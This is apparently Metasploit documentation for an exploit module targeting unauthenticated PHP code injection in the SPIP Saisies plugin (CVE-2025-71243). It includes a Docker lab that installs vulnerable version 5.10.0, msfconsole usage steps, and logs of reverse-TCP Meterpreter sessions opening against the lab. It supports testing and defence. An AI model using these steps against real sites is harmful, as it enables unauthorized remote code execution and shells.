documentation/modules/exploit/multi/http/spip_saisies_rce.md
This module exploits an unauthenticated PHP code injection in the SPIP Saisies
plugin (CVE-2025-71243). The _anciennes_valeurs form parameter is interpolated
unsanitized into a hidden field rendered with interdire_scripts=false, giving
direct PHP code execution via SPIP's template eval.
Exploitation requires a publicly accessible page containing a saisies-powered form, most commonly created with the Formidable plugin. Versions 5.4.0 through 5.11.0 of the saisies plugin are affected.
mkdir spip-lab && cd spip-lab
Create docker-compose.yml:
services:
spip:
image: ipeos/spip:latest
container_name: spip-cve
ports:
- "8888:80"
environment:
SPIP_AUTO_INSTALL: 1
SPIP_DB_SERVER: mysql
SPIP_DB_HOST: db
SPIP_DB_LOGIN: spip
SPIP_DB_PASS: spip
SPIP_DB_NAME: spip
SPIP_ADMIN_NAME: Admin
SPIP_ADMIN_LOGIN: admin
SPIP_ADMIN_EMAIL: [email protected]
SPIP_ADMIN_PASS: adminadmin
SPIP_SITE_ADDRESS: http://localhost:8888
volumes:
- ./setup.sh:/opt/setup.sh
entrypoint: ["/bin/bash", "-c", "/opt/setup.sh & exec /docker-entrypoint.sh apache2-foreground"]
depends_on:
db:
condition: service_healthy
healthcheck:
test: ["CMD", "bash", "-c", "curl -sf http://localhost/spip.php?page=contact | grep -q _anciennes_valeurs"]
interval: 10s
timeout: 5s
retries: 30
db:
image: mariadb:10.11
container_name: spip-cve-db
environment:
MYSQL_DATABASE: spip
MYSQL_USER: spip
MYSQL_PASSWORD: spip
MYSQL_ROOT_PASSWORD: root
healthcheck:
test: ["CMD", "healthcheck.sh", "--connect", "--innodb_initialized"]
interval: 5s
timeout: 3s
retries: 10
Create setup.sh:
#!/bin/bash
PLUGINS_DIR="/var/www/html/plugins"
SAISIES_URL="https://files.spip.org/spip-zone/spip-contrib-extensions/saisies-222af-saisies-5.10.0.zip"
echo "[*] Waiting for SPIP to be fully installed..."
until [ -f /var/www/html/config/connect.php ]; do
sleep 2
done
sleep 5
echo "[*] Installing vulnerable saisies plugin v5.10.0..."
apt-get update -qq && apt-get install -y -qq unzip >/dev/null 2>&1
mkdir -p "$PLUGINS_DIR"
curl -sL "$SAISIES_URL" -o /tmp/saisies.zip
unzip -qo /tmp/saisies.zip -d "$PLUGINS_DIR/"
chown -R www-data:www-data "$PLUGINS_DIR/"
echo "[*] Activating saisies plugin..."
echo "yes" | spip plugins:activer saisies
echo "[*] Creating contact form with _saisies..."
mkdir -p /var/www/html/formulaires
cat > /var/www/html/formulaires/contact.php << 'FORMPHP'
<?php
if (!defined("_ECRIRE_INC_VERSION")) return;
function formulaires_contact_saisies_dist() {
return [
["saisie" => "input", "options" => ["nom" => "nom", "label" => "Votre nom", "obligatoire" => "oui"]],
["saisie" => "selection", "options" => ["nom" => "sujet", "label" => "Sujet", "datas" => ["contact" => "Contact", "support" => "Support", "autre" => "Autre"]]],
["saisie" => "textarea", "options" => ["nom" => "message", "label" => "Message", "obligatoire" => "oui", "rows" => 5]],
];
}
function formulaires_contact_charger_dist() { return ["nom" => "", "sujet" => "", "message" => ""]; }
function formulaires_contact_verifier_dist() { $e = []; if (!_request("nom")) $e["nom"] = "Obligatoire"; if (!_request("message")) $e["message"] = "Obligatoire"; return $e; }
function formulaires_contact_traiter_dist() { return ["message_ok" => "Merci !"]; }
FORMPHP
cat > /var/www/html/formulaires/contact.html << 'FORMHTML'
<div class="formulaire_spip formulaire_contact">
[(#ENV{message_ok}|oui)<p class="reponse_formulaire reponse_formulaire_ok">[(#ENV{message_ok})]</p>]
[(#ENV{editable}|oui)
<form method="post" action="#ENV{action}"><div>
#ACTION_FORMULAIRE{#ENV{action},#ENV{form}}
<INCLURE{fond=inclure/generer_saisies,env} />
<p class="boutons"><input type="submit" value="Envoyer" /></p>
</div></form>
]
</div>
FORMHTML
mkdir -p /var/www/html/squelettes
cat > /var/www/html/squelettes/contact.html << 'SQHTML'
<!DOCTYPE html>
<html><head><title>Contact</title>#INSERT_HEAD</head>
<body><h1>Contact</h1>#FORMULAIRE_CONTACT</body>
</html>
SQHTML
chown -R www-data:www-data /var/www/html/formulaires/ /var/www/html/squelettes/
rm -rf /var/www/html/tmp/cache/
echo "[+] Lab ready! Form at http://localhost:8888/spip.php?page=contact"
chmod +x setup.sh
docker compose up -d
Wait about a minute for the setup script to install saisies and create the
contact form. The form will be at http://localhost:8888/spip.php?page=contact.
msfconsoleuse exploit/multi/http/spip_saisies_rceset RHOSTS 127.0.0.1set RPORT 8888set LHOST <your-ip>check - verify it returns Appearsrun - verify a Meterpreter session opensPage containing a saisies-powered form. Set to a specific page name (e.g.
contact) if you already know which page has the form, or leave as crawl
(default) to automatically discover one by fetching the SPIP sitemap and
following internal links.
Maximum number of pages to visit when crawling. Default is 100.
msf6 > use exploit/multi/http/spip_saisies_rce
msf6 exploit(multi/http/spip_saisies_rce) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 exploit(multi/http/spip_saisies_rce) > set RPORT 8889
RPORT => 8889
msf6 exploit(multi/http/spip_saisies_rce) > set FORM_PAGE contact
FORM_PAGE => contact
msf6 exploit(multi/http/spip_saisies_rce) > set LHOST 172.17.0.1
LHOST => 172.17.0.1
msf6 exploit(multi/http/spip_saisies_rce) > set PAYLOAD php/meterpreter/reverse_tcp
PAYLOAD => php/meterpreter/reverse_tcp
msf6 exploit(multi/http/spip_saisies_rce) > run
[*] Started reverse TCP handler on 172.17.0.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Saisies plugin version: 5.10.0
[+] The target appears to be vulnerable. Saisies plugin 5.10.0 is in the vulnerable range (5.4.0 - 5.11.0).
[+] Form found at /spip.php?page=contact
[*] Sending payload...
[*] Sending stage (42137 bytes) to 172.18.0.3
[*] Meterpreter session 1 opened (172.17.0.1:4444 -> 172.18.0.3:46968) at 2026-02-21 09:23:35 +0100
meterpreter >
msf6 > use exploit/multi/http/spip_saisies_rce
msf6 exploit(multi/http/spip_saisies_rce) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 exploit(multi/http/spip_saisies_rce) > set RPORT 8889
RPORT => 8889
msf6 exploit(multi/http/spip_saisies_rce) > set FORM_PAGE crawl
FORM_PAGE => crawl
msf6 exploit(multi/http/spip_saisies_rce) > set LHOST 172.17.0.1
LHOST => 172.17.0.1
msf6 exploit(multi/http/spip_saisies_rce) > set PAYLOAD php/meterpreter/reverse_tcp
PAYLOAD => php/meterpreter/reverse_tcp
msf6 exploit(multi/http/spip_saisies_rce) > run
[*] Started reverse TCP handler on 172.17.0.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Saisies plugin version: 5.10.0
[+] The target appears to be vulnerable. Saisies plugin 5.10.0 is in the vulnerable range (5.4.0 - 5.11.0).
[*] Crawling for saisies forms (max 100 pages)...
[+] Form found at /spip.php?page=contact (checked 3 pages)
[*] Sending payload...
[*] Sending stage (42137 bytes) to 172.18.0.3
[*] Meterpreter session 1 opened (172.17.0.1:4444 -> 172.18.0.3:50544) at 2026-02-21 09:23:53 +0100
meterpreter >